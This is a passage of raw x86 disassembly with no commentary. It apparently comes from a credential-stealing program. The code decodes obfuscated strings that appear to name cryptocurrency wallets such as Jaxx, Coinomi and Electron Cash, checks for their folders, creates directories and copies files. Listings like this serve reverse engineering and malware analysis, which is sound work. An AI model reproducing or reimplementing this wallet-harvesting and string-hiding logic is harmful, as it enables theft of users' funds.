cmp byte [ebp - 0xd], 0
je 0x411072
lea eax, [ebp - 0x21]
push eax
call fcn.00413c30
mov esi, eax
xor edx, edx
nop dword [eax]
movzx ecx, byte [edx + esi]
push ecx
call fcn.00459470
mov byte [edx + esi], al
inc edx
cmp edx, 0x10
jb 0x410f70
push esi
lea edx, [ebp - 0x54]
lea ecx, [ebp - 0x78]
call fcn.0045c3b0
add esp, 4
mov byte [ebp - 4], 0x33
lea ecx, [ebp - 0x78]
call fcn.00457e70
mov ecx, eax
call fcn.0040b8c0
test al, al
jne 0x410fc2
push 0
lea ecx, [ebp - 0x78]
call fcn.00457e70
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x411066
sub esp, 0x18
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x78]
mov dword [ebp - 0x2c], esp
mov ecx, esp
push eax
call fcn.00458190
mov byte [ebp - 4], 0x34
lea eax, [ebp - 0x21]
push eax
call fcn.00413c30
mov esi, eax
xor edx, edx
nop dword [eax + eax]
movzx ecx, byte [edx + esi]
push ecx
call fcn.00459470
mov byte [edx + esi], al
inc edx
cmp edx, 0x10
jb 0x410ff0
sub esp, 0x18
lea edx, [ebp - 0x98]
mov ecx, esp
mov dword [ebp - 0x3c], esp
push esi
call fcn.0045c3b0
add esp, 4
mov byte [ebp - 4], 0x35
mov byte [ebp - 4], 0x33
mov cl, byte [ebp - 0xd]
call fcn.0040e470
add esp, 0x30
test eax, eax
jne 0x411039
mov eax, dword [ebp - 0x38]
mov byte [eax], 1
jmp 0x411066
lea ecx, [ebp - 0x78]
call fcn.00457e70
push eax
lea ecx, [ebp - 0x28]
call fcn.00402790
mov byte [ebp - 4], 0x36
push ecx
lea ecx, [ebp - 0x28]
call fcn.0040b910
add esp, 4
mov byte [ebp - 4], 0x33
lea ecx, [ebp - 0x28]
call fcn.00402890
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x78]
call fcn.00402890
and edi, 0xffefffff
mov dword [ebp - 0x5c], edi
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0x54]
call fcn.00402890
movaps xmm0, xmmword [0x51e600]
xor ecx, ecx
movups xmmword [ebp - 0x24], xmm0
mov dword [ebp - 0x14], 0xfaf8fe
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x24]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x24], al
inc ecx
cmp ecx, 0x13
jb 0x4110a0
xorps xmm0, xmm0
mov dword [ebp - 0x44], 0
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x40], 0
movups xmmword [ebp - 0x54], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4110d0
sub ecx, edx
lea eax, [ebp - 0x24]
push ecx
push eax
lea ecx, [ebp - 0x54]
call fcn.00402aa0
mov byte [ebp - 4], 0x37
lea eax, [ebp - 0x54]
push eax
lea edx, [ebp - 0x304]
lea ecx, [ebp - 0x200]
call fcn.0045c570
add esp, 4
mov byte [ebp - 4], 0x39
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x41113a
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x411130
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413b54
push ecx
push edx
call fcn.004b2a81
add esp, 8
cmp dword [ebp - 0x1ec], 0x10
lea ecx, [ebp - 0x200]
mov dword [ebp - 0x44], 0
cmovae ecx, dword [ebp - 0x200]
mov dword [ebp - 0x40], 0xf
mov byte [ebp - 0x54], 0
call fcn.0040b8c0
test al, al
je 0x41129d
mov dword [ebp - 0x2e], 0xe7fed5c3
xor ecx, ecx
mov word [ebp - 0x2a], 0xe7
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x2e]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x2e], al
inc ecx
cmp ecx, 5
jb 0x411180
mov byte [ebp - 4], 0x3a
lea ecx, [ebp - 0x2e]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4111a0
mov esi, closesocket
sub ecx, edx
mov edx, dword [ebp + 0x18]
mov eax, esi
sub eax, edx
cmp eax, ecx
jb 0x413b59
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push ecx
cmovae eax, dword [ebp + 8]
lea ecx, [ebp - 0x2e]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x54]
call fcn.00460300
or edi, 0x200000
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x5c], edi
cmp dword [ebp - 0x40], 0x10
cmovae ecx, dword [ebp - 0x54]
call fcn.0040b8c0
test al, al
jne 0x41120d
push 0
lea ecx, [ebp - 0x54]
call fcn.00457e70
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x411286
sub esp, 0x18
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x54]
mov dword [ebp - 0x2c], esp
mov ecx, esp
push eax
call fcn.00458190
mov byte [ebp - 4], 0x3b
sub esp, 0x18
lea eax, [ebp - 0x200]
mov dword [ebp - 0x3c], esp
mov ecx, esp
push eax
call fcn.00458190
mov byte [ebp - 4], 0x3c
mov byte [ebp - 4], 0x3a
mov cl, byte [ebp - 0xd]
call fcn.0040e470
add esp, 0x30
test eax, eax
jne 0x411259
mov eax, dword [ebp - 0x38]
mov byte [eax], 1
jmp 0x411286
lea ecx, [ebp - 0x54]
call fcn.00457e70
push eax
lea ecx, [ebp - 0x78]
call fcn.00402790
mov byte [ebp - 4], 0x3d
push ecx
lea ecx, [ebp - 0x78]
call fcn.0040b910
add esp, 4
mov byte [ebp - 4], 0x3a
lea ecx, [ebp - 0x78]
call fcn.00402890
and edi, 0xffdfffff
mov dword [ebp - 0x5c], edi
mov byte [ebp - 4], 0x39
lea ecx, [ebp - 0x54]
call fcn.00402890
jmp 0x4112a2
mov esi, closesocket
movaps xmm0, xmmword [0x51e8d0]
xor ecx, ecx
movups xmmword [ebp - 0x78], xmm0
mov dword [ebp - 0x68], 0xf3fee8c3
mov dword [ebp - 0x64], 0xecebfaf3
mov byte [ebp - 0x60], 0
movzx eax, byte [ebp + ecx - 0x78]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x78], al
inc ecx
cmp ecx, 0x18
jb 0x4112c1
xorps xmm0, xmm0
mov dword [ebp - 0x44], 0
lea ecx, [ebp - 0x78]
mov dword [ebp - 0x40], 0
movups xmmword [ebp - 0x54], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4112f1
sub ecx, edx
lea eax, [ebp - 0x78]
push ecx
push eax
lea ecx, [ebp - 0x54]
call fcn.00402aa0
mov byte [ebp - 4], 0x3e
lea eax, [ebp - 0x54]
push eax
lea edx, [ebp - 0x408]
lea ecx, [ebp - 0x1e8]
call fcn.0045c570
add esp, 4
mov byte [ebp - 4], 0x40
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x41135b
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x411351
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413b5e
push ecx
push edx
call fcn.004b2a81
add esp, 8
cmp dword [ebp - 0x1d4], 0x10
lea ecx, [ebp - 0x1e8]
mov dword [ebp - 0x44], 0
cmovae ecx, dword [ebp - 0x1e8]
mov dword [ebp - 0x40], 0xf
mov byte [ebp - 0x54], 0
call fcn.0040b8c0
test al, al
je 0x4114b7
mov dword [ebp - 0x19], 0xf6f0dcc3
xor ecx, ecx
mov dword [ebp - 0x15], 0xf6f2f0f1
mov byte [ebp - 0x11], 0
movzx eax, byte [ebp + ecx - 0x19]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x19], al
inc ecx
cmp ecx, 8
jb 0x4113a2
mov byte [ebp - 4], 0x41
lea ecx, [ebp - 0x19]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4113c1
sub ecx, edx
mov eax, esi
mov edx, dword [ebp + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x413b63
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push ecx
cmovae eax, dword [ebp + 8]
lea ecx, [ebp - 0x19]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x54]
call fcn.00460300
or edi, 0x400000
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x5c], edi
cmp dword [ebp - 0x40], 0x10
cmovae ecx, dword [ebp - 0x54]
call fcn.0040b8c0
test al, al
jne 0x411429
push 0
lea ecx, [ebp - 0x54]
call fcn.00457e70
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x4114a2
sub esp, 0x18
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x54]
mov dword [ebp - 0x2c], esp
mov ecx, esp
push eax
call fcn.00458190
mov byte [ebp - 4], 0x42
sub esp, 0x18
lea eax, [ebp - 0x1e8]
mov dword [ebp - 0x3c], esp
mov ecx, esp
push eax
call fcn.00458190
mov byte [ebp - 4], 0x43
mov byte [ebp - 4], 0x41
mov cl, byte [ebp - 0xd]
call fcn.0040e470
add esp, 0x30
test eax, eax
jne 0x411475
mov eax, dword [ebp - 0x38]
mov byte [eax], 1
jmp 0x4114a2
lea ecx, [ebp - 0x54]
call fcn.00457e70
push eax
lea ecx, [ebp - 0x78]
call fcn.00402790
mov byte [ebp - 4], 0x44
push ecx
lea ecx, [ebp - 0x78]
call fcn.0040b910
add esp, 4
mov byte [ebp - 4], 0x41
lea ecx, [ebp - 0x78]
call fcn.00402890
and edi, 0xffbfffff
mov dword [ebp - 0x5c], edi
mov byte [ebp - 4], 0x40
lea ecx, [ebp - 0x54]
call fcn.00402890
mov dword [ebp - 0x30], 0xf2eddec3
xor ecx, ecx
mov dword [ebp - 0x2c], 0xe6edf0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x30]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x30], al
inc ecx
cmp ecx, 7
jb 0x4114d0
xorps xmm0, xmm0
mov dword [ebp - 0x44], 0
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x40], 0
movups xmmword [ebp - 0x54], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411500
sub ecx, edx
lea eax, [ebp - 0x30]
push ecx
push eax
lea ecx, [ebp - 0x54]
call fcn.00402aa0
mov byte [ebp - 4], 0x45
lea eax, [ebp - 0x54]
push eax
lea edx, [ebp - 0x304]
lea ecx, [ebp - 0x1d0]
call fcn.0045c570
add esp, 4
mov byte [ebp - 4], 0x47
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x41156a
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x411560
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413b68
push ecx
push edx
call fcn.004b2a81
add esp, 8
cmp dword [ebp - 0x1bc], 0x10
lea ecx, [ebp - 0x1d0]
mov dword [ebp - 0x44], 0
cmovae ecx, dword [ebp - 0x1d0]
mov dword [ebp - 0x40], 0xf
mov byte [ebp - 0x54], 0
call fcn.0040b8c0
test al, al
je 0x4116c6
mov dword [ebp - 0x30], 0xf2eddec3
xor ecx, ecx
mov dword [ebp - 0x2c], 0xe6edf0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x30]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x30], al
inc ecx
cmp ecx, 7
jb 0x4115b0
mov byte [ebp - 4], 0x48
lea ecx, [ebp - 0x30]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4115d0
sub ecx, edx
mov eax, esi
mov edx, dword [ebp + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x413b6d
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push ecx
cmovae eax, dword [ebp + 8]
lea ecx, [ebp - 0x30]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x54]
call fcn.00460300
or edi, 0x800000
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x5c], edi
cmp dword [ebp - 0x40], 0x10
cmovae ecx, dword [ebp - 0x54]
call fcn.0040b8c0
test al, al
jne 0x411638
push 0
lea ecx, [ebp - 0x54]
call fcn.00457e70
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x4116b1
sub esp, 0x18
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x54]
mov dword [ebp - 0x2c], esp
mov ecx, esp
push eax
call fcn.00458190
mov byte [ebp - 4], 0x49
sub esp, 0x18
lea eax, [ebp - 0x1d0]
mov dword [ebp - 0x3c], esp
mov ecx, esp
push eax
call fcn.00458190
mov byte [ebp - 4], 0x4a
mov byte [ebp - 4], 0x48
mov cl, byte [ebp - 0xd]
call fcn.0040e470
add esp, 0x30
test eax, eax
jne 0x411684
mov eax, dword [ebp - 0x38]
mov byte [eax], 1
jmp 0x4116b1
lea ecx, [ebp - 0x54]
call fcn.00457e70
push eax
lea ecx, [ebp - 0x78]
call fcn.00402790
mov byte [ebp - 4], 0x4b
push ecx
lea ecx, [ebp - 0x78]
call fcn.0040b910
add esp, 4
mov byte [ebp - 4], 0x48
lea ecx, [ebp - 0x78]
call fcn.00402890
and edi, 0xff7fffff
mov dword [ebp - 0x5c], edi
mov byte [ebp - 4], 0x47
lea ecx, [ebp - 0x54]
call fcn.00402890
movaps xmm0, xmmword [0x51e800]
xor ecx, ecx
movups xmmword [ebp - 0x7c], xmm0
mov dword [ebp - 0x6c], 0xebf1faf6
mov dword [ebp - 0x68], 0xf3fec8c3
mov dword [ebp - 0x64], 0xecebfaf3
mov byte [ebp - 0x60], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x7c]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x7c], al
inc ecx
cmp ecx, 0x1c
jb 0x4116f0
xorps xmm0, xmm0
mov dword [ebp - 0x44], 0
lea ecx, [ebp - 0x7c]
mov dword [ebp - 0x40], 0
movups xmmword [ebp - 0x54], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411720
sub ecx, edx
lea eax, [ebp - 0x7c]
push ecx
push eax
lea ecx, [ebp - 0x54]
call fcn.00402aa0
mov byte [ebp - 4], 0x4c
lea eax, [ebp - 0x54]
push eax
lea edx, [ebp - 0x304]
lea ecx, [ebp - 0x1b8]
call fcn.0045c570
add esp, 4
mov byte [ebp - 4], 0x4e
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x41178a
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x411780
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413b72
push ecx
push edx
call fcn.004b2a81
add esp, 8
cmp dword [ebp - 0x1a4], 0x10
lea ecx, [ebp - 0x1b8]
mov dword [ebp - 0x44], 0
cmovae ecx, dword [ebp - 0x1b8]
mov dword [ebp - 0x40], 0xf
mov byte [ebp - 0x54], 0
call fcn.0040b8c0
test al, al
je 0x4118e6
mov dword [ebp - 0x30], 0xecfec8c3
xor ecx, ecx
mov dword [ebp - 0x2c], 0xf6fdfe
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x30]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x30], al
inc ecx
cmp ecx, 7
jb 0x4117d0
mov byte [ebp - 4], 0x4f
lea ecx, [ebp - 0x30]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4117f0
sub ecx, edx
mov eax, esi
mov edx, dword [ebp + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x413b77
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push ecx
cmovae eax, dword [ebp + 8]
lea ecx, [ebp - 0x30]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x54]
call fcn.00460300
or edi, 0x1000000
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x5c], edi
cmp dword [ebp - 0x40], 0x10
cmovae ecx, dword [ebp - 0x54]
call fcn.0040b8c0
test al, al
jne 0x411858
push 0
lea ecx, [ebp - 0x54]
call fcn.00457e70
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x4118d1
sub esp, 0x18
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x54]
mov dword [ebp - 0x2c], esp
mov ecx, esp
push eax
call fcn.00458190
mov byte [ebp - 4], 0x50
sub esp, 0x18
lea eax, [ebp - 0x1b8]
mov dword [ebp - 0x3c], esp
mov ecx, esp
push eax
call fcn.00458190
mov byte [ebp - 4], 0x51
mov byte [ebp - 4], 0x4f
mov cl, byte [ebp - 0xd]
call fcn.0040e470
add esp, 0x30
test eax, eax
jne 0x4118a4
mov eax, dword [ebp - 0x38]
mov byte [eax], 1
jmp 0x4118d1
lea ecx, [ebp - 0x54]
call fcn.00457e70
push eax
lea ecx, [ebp - 0x78]
call fcn.00402790
mov byte [ebp - 4], 0x52
push ecx
lea ecx, [ebp - 0x78]
call fcn.0040b910
add esp, 4
mov byte [ebp - 4], 0x4f
lea ecx, [ebp - 0x78]
call fcn.00402890
and edi, 0xfeffffff
mov dword [ebp - 0x5c], edi
mov byte [ebp - 4], 0x4e
lea ecx, [ebp - 0x54]
call fcn.00402890
movaps xmm0, xmmword [0x51ead0]
xor ecx, ecx
movups xmmword [ebp - 0x22], xmm0
mov word [ebp - 0x12], 0xfd
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x22]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x22], al
inc ecx
cmp ecx, 0x11
jb 0x411900
xorps xmm0, xmm0
mov dword [ebp - 0x44], 0
lea ecx, [ebp - 0x22]
mov dword [ebp - 0x40], 0
movups xmmword [ebp - 0x54], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411930
sub ecx, edx
lea eax, [ebp - 0x22]
push ecx
push eax
lea ecx, [ebp - 0x54]
call fcn.00402aa0
mov byte [ebp - 4], 0x53
lea eax, [ebp - 0x54]
push eax
lea edx, [ebp - 0x304]
lea ecx, [ebp - 0x1a0]
call fcn.0045c570
add esp, 4
mov byte [ebp - 4], 0x55
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x41199a
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x411990
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413b7c
push ecx
push edx
call fcn.004b2a81
add esp, 8
sub esp, 0x18
mov dword [ebp - 0x44], 0
lea eax, [ebp - 0x1a0]
mov dword [ebp - 0x2c], esp
mov ecx, esp
mov dword [ebp - 0x40], 0xf
mov byte [ebp - 0x54], 0
push eax
call fcn.00458190
mov byte [ebp - 4], 0x56
mov byte [ebp - 4], 0x55
call fcn.0040b820
add esp, 0x18
test al, al
je 0x411b88
mov dword [ebp - 0x30], 0xebf6ddc3
xor ecx, ecx
mov dword [ebp - 0x2c], 0xedfaf7
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x30]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x30], al
inc ecx
cmp ecx, 7
jb 0x4119f0
mov byte [ebp - 4], 0x57
lea ecx, [ebp - 0x30]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411a10
sub ecx, edx
mov eax, esi
mov edx, dword [ebp + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x413b81
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push ecx
cmovae eax, dword [ebp + 8]
lea ecx, [ebp - 0x30]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x54]
call fcn.00460300
or edi, 0x2000000
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x5c], edi
cmp dword [ebp - 0x40], 0x10
cmovae ecx, dword [ebp - 0x54]
call fcn.0040b8c0
test al, al
jne 0x411a7c
push 0
lea ecx, [ebp - 0x54]
call fcn.00457e70
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x411b73
mov dword [ebp - 0x1b], 0xebf6fdc3
xor ecx, ecx
mov dword [ebp - 0x17], 0xb1edfaf7
mov word [ebp - 0x13], 0xfdfb
mov byte [ebp - 0x11], 0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x1b]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x1b], al
inc ecx
cmp ecx, 0xa
jb 0x411aa0
mov byte [ebp - 4], 0x58
lea ecx, [ebp - 0x1b]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411ac0
sub ecx, edx
mov eax, esi
mov edx, dword [ebp - 0x44]
sub eax, edx
cmp eax, ecx
jb 0x413b86
cmp dword [ebp - 0x40], 0x10
lea eax, [ebp - 0x54]
push ecx
cmovae eax, dword [ebp - 0x54]
lea ecx, [ebp - 0x1b]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x78]
call fcn.00460300
or dword [ebp - 0x80], 2
lea ecx, [ebp - 0x78]
cmp dword [ebp - 0x64], 0x10
lea eax, [ebp - 0x1a0]
push 0
cmovae ecx, dword [ebp - 0x78]
cmp dword [ebp - 0x18c], 0x10
push ecx
cmovae eax, dword [ebp - 0x1a0]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
and dword [ebp - 0x80], 0xfffffffd
mov esi, eax
mov byte [ebp - 4], 0x57
lea ecx, [ebp - 0x78]
call fcn.00402890
test esi, esi
je 0x411b41
mov eax, dword [ebp - 0x38]
mov byte [eax], 1
jmp 0x411b6e
lea ecx, [ebp - 0x54]
call fcn.00457e70
push eax
lea ecx, [ebp - 0x78]
call fcn.00402790
mov byte [ebp - 4], 0x59
push ecx
lea ecx, [ebp - 0x78]
call fcn.0040b910
add esp, 4
mov byte [ebp - 4], 0x57
lea ecx, [ebp - 0x78]
call fcn.00402890
mov esi, closesocket
and edi, 0xfdffffff
mov dword [ebp - 0x5c], edi
mov byte [ebp - 4], 0x55
lea ecx, [ebp - 0x54]
call fcn.00402890
movaps xmm0, xmmword [0x51ebc0]
xor ecx, ecx
movups xmmword [ebp - 0x26], xmm0
mov dword [ebp - 0x16], 0xebfaf3f3
mov word [ebp - 0x12], 0xec
movzx eax, byte [ebp + ecx - 0x26]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x26], al
inc ecx
cmp ecx, 0x15
jb 0x411ba2
xorps xmm0, xmm0
mov dword [ebp - 0x44], 0
lea ecx, [ebp - 0x26]
mov dword [ebp - 0x40], 0
movups xmmword [ebp - 0x54], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411bd2
sub ecx, edx
lea eax, [ebp - 0x26]
push ecx
push eax
lea ecx, [ebp - 0x54]
call fcn.00402aa0
mov byte [ebp - 4], 0x5a
lea eax, [ebp - 0x54]
push eax
lea edx, [ebp - 0x304]
lea ecx, [ebp - 0x188]
call fcn.0045c570
add esp, 4
mov byte [ebp - 4], 0x5c
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x411c3c
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x411c32
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413b8b
push ecx
push edx
call fcn.004b2a81
add esp, 8
cmp dword [ebp - 0x174], 0x10
lea ecx, [ebp - 0x188]
mov dword [ebp - 0x44], 0
cmovae ecx, dword [ebp - 0x188]
mov dword [ebp - 0x40], 0xf
mov byte [ebp - 0x54], 0
call fcn.0040b8c0
test al, al
je 0x411da6
mov dword [ebp - 0x1e], 0xfaf3dac3
xor ecx, ecx
mov dword [ebp - 0x1a], 0xf0edebfc
mov dword [ebp - 0x16], 0xecfedcf1
mov word [ebp - 0x12], 0xf7
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x1e]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x1e], al
inc ecx
cmp ecx, 0xd
jb 0x411c90
mov byte [ebp - 4], 0x5d
lea ecx, [ebp - 0x1e]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411cb0
sub ecx, edx
mov eax, esi
mov edx, dword [ebp + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x413b90
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push ecx
cmovae eax, dword [ebp + 8]
lea ecx, [ebp - 0x1e]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x54]
call fcn.00460300
or edi, 0x4000000
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x5c], edi
cmp dword [ebp - 0x40], 0x10
cmovae ecx, dword [ebp - 0x54]
call fcn.0040b8c0
test al, al
jne 0x411d18
push 0
lea ecx, [ebp - 0x54]
call fcn.00457e70
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x411d91
sub esp, 0x18
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x54]
mov dword [ebp - 0x2c], esp
mov ecx, esp
push eax
call fcn.00458190
mov byte [ebp - 4], 0x5e
sub esp, 0x18
lea eax, [ebp - 0x188]
mov dword [ebp - 0x3c], esp
mov ecx, esp
push eax
call fcn.00458190
mov byte [ebp - 4], 0x5f
mov byte [ebp - 4], 0x5d
mov cl, byte [ebp - 0xd]
call fcn.0040e470
add esp, 0x30
test eax, eax
jne 0x411d64
mov eax, dword [ebp - 0x38]
mov byte [eax], 1
jmp 0x411d91
lea ecx, [ebp - 0x54]
call fcn.00457e70
push eax
lea ecx, [ebp - 0x78]
call fcn.00402790
mov byte [ebp - 4], 0x60
push ecx
lea ecx, [ebp - 0x78]
call fcn.0040b910
add esp, 4
mov byte [ebp - 4], 0x5d
lea ecx, [ebp - 0x78]
call fcn.00402890
and edi, 0xfbffffff
mov dword [ebp - 0x5c], edi
mov byte [ebp - 4], 0x5c
lea ecx, [ebp - 0x54]
call fcn.00402890
movaps xmm0, xmmword [0x51e680]
xor ecx, ecx
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x18], 0xf5b1faed
mov dword [ebp - 0x14], 0xf1f0ec
movzx eax, byte [ebp + ecx - 0x28]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x28], al
inc ecx
cmp ecx, 0x17
jb 0x411dc1
xorps xmm0, xmm0
mov dword [ebp - 0x44], 0
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x40], 0
movups xmmword [ebp - 0x54], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411df1
sub ecx, edx
lea eax, [ebp - 0x28]
push ecx
push eax
lea ecx, [ebp - 0x54]
call fcn.00402aa0
mov byte [ebp - 4], 0x61
lea eax, [ebp - 0x54]
push eax
lea edx, [ebp - 0x304]
lea ecx, [ebp - 0x170]
call fcn.0045c570
add esp, 4
mov byte [ebp - 4], 0x63
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x411e5b
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x411e51
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413b95
push ecx
push edx
call fcn.004b2a81
add esp, 8
sub esp, 0x18
mov dword [ebp - 0x44], 0
lea eax, [ebp - 0x170]
mov dword [ebp - 0x2c], esp
mov ecx, esp
mov dword [ebp - 0x40], 0xf
mov byte [ebp - 0x54], 0
push eax
call fcn.00458190
mov byte [ebp - 4], 0x64
mov byte [ebp - 4], 0x63
call fcn.0040b820
add esp, 0x18
test al, al
je 0x412038
mov dword [ebp - 0x19], 0xf1f6ddc3
xor ecx, ecx
mov dword [ebp - 0x15], 0xfafcf1fe
mov byte [ebp - 0x11], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x19]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x19], al
inc ecx
cmp ecx, 8
jb 0x411eb0
mov byte [ebp - 4], 0x65
lea ecx, [ebp - 0x19]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411ed0
sub ecx, edx
mov eax, esi
mov edx, dword [ebp + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x413b9a
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push ecx
cmovae eax, dword [ebp + 8]
lea ecx, [ebp - 0x19]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x54]
call fcn.00460300
or edi, 0x8000000
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x5c], edi
cmp dword [ebp - 0x40], 0x10
cmovae ecx, dword [ebp - 0x54]
call fcn.0040b8c0
test al, al
jne 0x411f3c
push 0
lea ecx, [ebp - 0x54]
call fcn.00457e70
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x412023
lea eax, [ebp - 0x20]
push eax
